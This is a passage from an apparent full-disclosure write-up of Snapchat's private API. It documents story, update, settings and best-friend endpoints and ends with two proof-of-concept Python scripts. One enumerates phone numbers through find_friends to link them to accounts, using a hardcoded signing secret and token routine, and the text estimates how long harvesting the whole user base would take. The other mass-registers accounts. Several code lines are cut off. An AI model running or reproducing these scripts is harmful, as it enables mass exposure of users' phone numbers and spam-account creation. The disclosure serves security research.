`thumbnail_url`	`str`	A URL you can hit via GET to fetch the thumbnail's blob data.
`caption_text_display`	`*str`	*Not always present* - seems to be (seldom often) set by the client on story upload.

`my_stories.story_notes` is a list of:

Field name	Type	Explanation
`viewer`	`str`	The viewer's account name.
`screenshotted`	`bool`	Whether or not they screenshotted the segment.
`timestamp`	`int`	When the viewing took place.
`storypointer`	`dict`	A strange dictionary with some misc. fields about the viewing.

top

`my_stories.story_notes.storypointer` is a dictionary of:

Field name	Type	Explanation
`mKey`	`str`	Your account name plus the date in the format of: `story:{YOURACCOUNT}:YYYYMMDD`
`mField`	`str`	More time related information.

`my_stories.story_extras` is a dictionary of:

Field name	Type	Explanation
`view_count`	`int`	What it says on the tin.
`screenshot_count`	`int`	What it says on the tin.

`friend_stories` is a list of:

Field name	Type	Explanation
`username`	`str`	Friend's username.
`stories`	`list`	A list of stories - See *below*.

`friend_stories.stories.story` is a dictionary of:

Field name	Type	Explanation
`id`	`str`	Friend's username (lowercase), a tilde, and the returned `timestamp`.
`username`	`str`	Friend's username.
`mature_content`	`bool`	Whether or not this segment contains mature content.
`client_id`	`str`	Standard media_id in the format of `USERNAME~UUID`
`timestamp`	`int`	The reply timestamp (`*1000`).
`media_id`	`str`	An id for this specific story segment.
`media_key`	`str`	base64'd key for decrypting this story (note, you also need the IV!).
`media_iv`	`str`	base64'd IV for decrypting this story (note, you also need the key!).
`thumbnail_iv`	`str`	base64'd IV for decrypting the thumbnail (use `media_key`!).
`media_type`	`int`	The type of media: `0` for images, `1` for videos.
`time`	`long`	The time this segment should be visible for.
`zipped*`	`bool`	Whether or not the blob data will be gzip compressed.
`time_left`	`int`	The seconds left (`*1000`, for some reason) before this story expires.
`media_url`	`str`	A URL you can hit via GET to fetch the story's blob data.
`thumbnail_url`	`str`	A URL you can hit via GET to fetch the thumbnail's blob data.
`caption_text_display`	`str`	*Not always present* - seems to be (seldom often) set by the client on story upload.

Getting updates (`/bq/updates`)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221)
}
```

Field name	Type	Explanation
`username`	`str`	See: Common fields
`timestamp`	`int`	See: Common fields
`req_token`	`str`	See: Creating request tokens

If your request was **successful**, you'll get back something like a request from logging in.

Sending updates (`/bq/update_snaps`)

This lets you report snaps as viewed or screenshotted.

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
```

top

```
    added_friends_timestamp: 1373206707,
    json: "{\"32592238442645512 4r\":{\"c\":0,\"t\":1385378843,\"replayed\":0}}",
    events: "[]"
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
added_friends_timestamp	int	The last time a friend added you - you'll get this from logging in or update calls.
json	str	A string representation of a dictionary of snap updates - See *below*.
events*	str	A string representation of a list of updates - used for BroadcastSnap views and misc analytics data.

`json` is a string representation of a dictionary like:

Field name	Type	Explanation
key	str	The ID of the snap we're pushing updates on.
c	int	Whether this is: seen, `0`; screenshotted, `1`
t	int	A timestamp of when this event occurred.
replayed	int	How many times this snap has been *replayed*.

`events` is a string representation of a list of dictionaries like:

Field name	Type	Explanation
mEventName	str	The type of event that happened. (e.g: `ERROR: SnapEncryptionAlgorithm.decrypt failed`)
mParams	str	A string representation of a dictionary, usually with the single key `message`.
mTimestamp	int	Timestamp of when this event occurred.

If your request was **successful**, you'll get back a `200 OK` with no body content.

Sending more updates (`/bq/update_stories`)

This lets you report stories as viewed or screenshotted (much like above).

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    friend_stories: "[{\"id\":\"someguy~1385712923240\",\"screenshot_count\":0,\
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
friend_stories	str	A string representation of a list of updates - See *below*.

`friend_stories` is a string representation of a list of dictionarys like:

Field name	Type	Explanation
id	str	The story segment id we're pushing updates on.
screenshot_count	int	How many screenshots we've taken of this segment.
timestamp	int	A timestamp of when this event occurred.

If your request was **successful**, you'll get back a `200 OK` with no body content.

Clearing your feed (`/ph/clear`)

```
{
    username: "youraccount",
    timestamp: 1373207221,
```

top

```
    req_token: create_token(auth_token, 1373207221)
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens

If your request was **successful**, you'll get back a `200 OK` with no body content.

Updating your account settings (`/ph/settings`)

There are a few request fields that are consistent in use across `/ph/settings`:

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
action	str	The action we're taking: `updateBirthday`, `updateEmail`, `updatePrivacy`, or `updateStoryPrivacy`.

Updating your birthday

```
{
    username: "youraccount".
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    action: "updateBirthday",
    birthday: "02-25"
}
```

Field name	Type	Explanation
Various		See above.
action	str	`updateBirthday`
birthday	str	Your birthday in the format `MM-DD`.

If your request was **successful**, you'll get something like this back:

```
{
    logged: true,
    message: "Birthday updated",
    param: "0000-02-25"
}
```

Field name	Type	Explanation
logged	bool	See: Common fields
message	str	A user presentable message explaining what action was taken.
param	str	Your birthday, in the format `0000-MM-DD`.

Updating your attached email

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    action: "updateEmail",
    email: "you@example.org"
}
```

Field name	Type	Explanation
Various		See above.
action	str	`updateEmail`

top

Field name	Type	Explanation
email	str	Your current email you'd like linked to the account.

If your request was **successful**, you'll get something like this back:

```
{
    logged: true,
    message: "Email updated",
    param: "you@example.org"
}
```

Field name	Type	Explanation
logged	bool	See: Common fields
message	str	A user presentable message explaining what action was taken.
param	str	The given email.

Updating your account privacy

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    action: "updatePrivacy",
    privacySetting: "1"
}
```

Field name	Type	Explanation
Various		See above.
action	str	updatePrivacy
privacySetting	str	The new privacy setting: public, 0; private, 1;

If your request was **successful**, you'll get something like this back:

```
{
    logged: true,
    message: "Snap privacy updated",
    param: "1"
}
```

Field name	Type	Explanation
logged	bool	See: Common fields
message	str	A user presentable message explaining what action was taken.
param	str	The given privacySetting.

Updating your story privacy

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    action: "updateStoryPrivacy",
    privacySetting: "EVERYONE"
}
```

Field name	Type	Explanation
Various		See above.
action	str	updateStoryPrivacy
privacySetting	str	The new privacy setting: public, EVERYONE; friends only, FRIENDS; or a custom selection, CUSTOM;

The privacy setting CUSTOM requires an extra field called storyFriendsToBlock:

```
{
```

top

```
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    action: "updateStoryPrivacy",
    privacySetting: "CUSTOM",
    storyFriendsToBlock: "['teamsnapchat','another_username']"
}
```

Field name	Type	Explanation
Various		See above.
storyFriendsToBlock	str	A string representation of a JSON list of friend usernames to block from seeing your stories.

If your request was **successful**, you'll get something like this back:

```
{
    logged: true,
    message: "Story privacy updated",
    param: "EVERYONE"
}
```

Field name	Type	Explanation
logged	bool	See: Common fields
message	str	A user presentable message explaining what action was taken.
param	str	The given privacySetting.

Updating your maturity settings

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    action: "updateCanViewMatureContent",
    canViewMatureContent: true
}
```

Field name	Type	Explanation
Various		See above.
action	str	updateCanViewMatureContent
canViewMatureContent	bool	The new maturity setting, as a boolean.

For some reason this *never* replies with anything other than a 200 OK with no body content.
If your request was **successful** (read: didn't break), you'll get a 200 OK with no body content.

Updating feature settings (/bq/update_feature_settings)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    settings: "{\"smart_filters\": false, \"visual_filters\": false, \"special_te
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
settings	str	A string representation of a dictionary telling Snapchat which feature settings you've enabled. Features are: smart_filters, visual_filters, special_text, replay_snaps, front_facing_flash.

If your request was **successful**, you'll get back a 200 OK with no body content.

Choosing your number of best friends

top

(/bq/set_num_best_friends)

```
{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    num_best_friends: 3
}
```

Field name	Type	Explanation
username	str	See: Common fields
timestamp	int	See: Common fields
req_token	str	See: Creating request tokens
num_best_friends	int	How many best friends you'd like to display (one of 3, 5, 7).

If your request was **successful**, you'll get back something like this back:

```
{
    best_friends: ["someguy", "gibsec"]
}
```

Field name	Type	Explanation
best_friends	list	A list of your best friends.

Obligatory exploit POCs

What would our full disclosure be if not tied together with some obligatory proof of concept scripts? We've taken some of our favorite exploits and turned them into lovely POC scripts for you to tinker with and hack to your heart's content.

The find_friends exploit

This is one of our personal favorites since it's just so ridiculously easy to exploit. A single request (once logged in, of course!) to `/ph/find_friends` can find out whether or not a phone number is attached to an account.

This is one of the things we initially wrote about in our previous release, approximately *four months ago* (at the time of writing)! They've yet to add any rate limiting to this, so we thought we'd add a non-watered down version of the exploit to this release; maybe Evan Spiegel will fix it when someone finds *his* phone number via this?

We did some back-of-the-envelope calculations based on some number crunching we did (on an unused range of numbers). We were able to crunch through *10 thousand* phone numbers (an entire sub-range in the American number format `(XXX) YYY-ZZZZ` - we did the Z's) in approximately 7 minutes on a gigabit line on a virtual server. Given some asynchronous optimizations, we believe that you could potentially crunch through that many in as little as a minute and a half (or, as a worst case, two minutes). This means you'd be railing through as many as *6666* phone numbers a minute (or, in our worst case, *5000*!).

Using the reported 8 million users in June as a rough estimate for Snapchat's user base (however, it will have undoubtedly exponentially grown since then), we can do some rough calculations on how long it would take to crunch through all of Snapchat's user base:

Given `user_base = 8e6` (8 million), and a *numbers crunchable per minute* (`ncpm`) of approximately `6666`, we can assume that it would take approximately *20 hours* for one $10 virtual server to eat through and find every user's phone number (`hours = user_base / (ncpm*60)`). At our worst case of `ncpm = 5000`, it would take approximately *26.6 hours*.

This is all assuming that user's phone numbers are:

- All incremental (e.g. `(000) 000-0000`, `(000) 000-0001`, ...)
- All American.

Evidently (fortunately?) this is not the case, however, it's sort of scary to think about, isn't it? Hopping

top

through the particularly "rich" area codes of America, potential malicious entities could create large databases of phone numbers -> Snapchat accounts in minutes.

In an entire month, you could crunch through as many as **292 million** numbers with a single server (`(ncpm*60)*730`, approximately 730 hours in a month). Add more servers (or otherwise increase your number crunching capabilities) and you can get through a seemingly infinite amount of numbers. It's unlikely Snapchat's end would ever be the bottleneck in this, seeing as it's run on Google App Engine, which (as we all know) is an absolute tank when it comes to handling load.

The following script will simply read a list of numbers from *stdin*, iterate through them and write any results to *stdout*.
Use it like: `python2 find_friends.py $username $password < numbers.txt > results.txt`

```
#!/usr/bin/env python2
# python2 find_friends.py $username $password < numbers.txt > results.txt
import requests
import hashlib
import json
import sys

def request_token(auth_token, timestamp):
    secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"
    pattern = "0001110111101110001111010101111011010001001110011000110001000110"
    first = hashlib.sha256(secret + auth_token).hexdigest()
    second = hashlib.sha256(str(timestamp) + secret).hexdigest()
    bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]
    return "".join(bits)

numbers = sys.stdin.read().split("\n")
base = "https://feelinsonice.appspot.com"

r = requests.post(base + "/bq/login", data={
    # These are hardcoded, just because it's easy.
    "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b
    "timestamp": 1373209025,
    "username": sys.argv[1],
    "password": sys.argv[2]
}, headers={"User-agent": None})
auth_token, username = r.json()["auth_token"], r.json()["username"]

# We can hardcode these as well.
static = {"req_token": request_token(auth_token, 1373209025), "countryCode": "US

for number in numbers:
    n = json.dumps({number: "J. R. Hacker"})
    r = requests.post(base + "/ph/find_friends", data=dict(static, numbers=n), he
    if len(r["results"]) < 1:
        continue
    sys.stdout.write("{0} -> {1}\n".format(number, r["results"][0]["name"]))
    sys.stdout.flush()
```

Bulk registration of accounts

This isn't so much of an exploit as taking advantage of the really lax registration functionality. Two requests, `/bq/register` and `/ph/registeru` can give you an account.

This script reads a list of accounts from stdin, attempts to register them, then prints the valid registered accounts to stdout. Format your account list like this:

```
account1:password1:you1@example.org
account2:password2:you2@example.org
account3:password3:you3@example.org
... ad infinitum
```

Use it like: `python2 bulk_register.py < accounts.txt > registered.txt`

```
#!/usr/bin/env python2
# python2 bulk_register.py < accounts.txt > registered.txt
```

top

```
# format accounts.txt like `username:password:email`
import requests
import sys

accounts = [a.split(":") for a in sys.stdin.read().split("\n") if a.strip() != "
base = "https://feelinsonice.appspot.com"

for account in accounts:
    username, password, email = account
    reg = requests.post(base + "/bq/register", data={
        "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1
        "timestamp": 1373209025,
        "email": email,
        "password": password,
        "age": 19,
        "birthday": "1994-11-27",
    }, headers={"User-agent": None})
    if not reg.json()["logged"]:
        continue
    nam = requests.post(base + "/ph/registeru", data={
        "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1
        "timestamp": 1373209025,
        "email": email,
        "username": username
    }, headers={"User-agent": None})
    if not nam.json()["logged"]:
        continue
    sys.stdout.write(":".join(account) + "\n")
    sys.stdout.flush()
```

top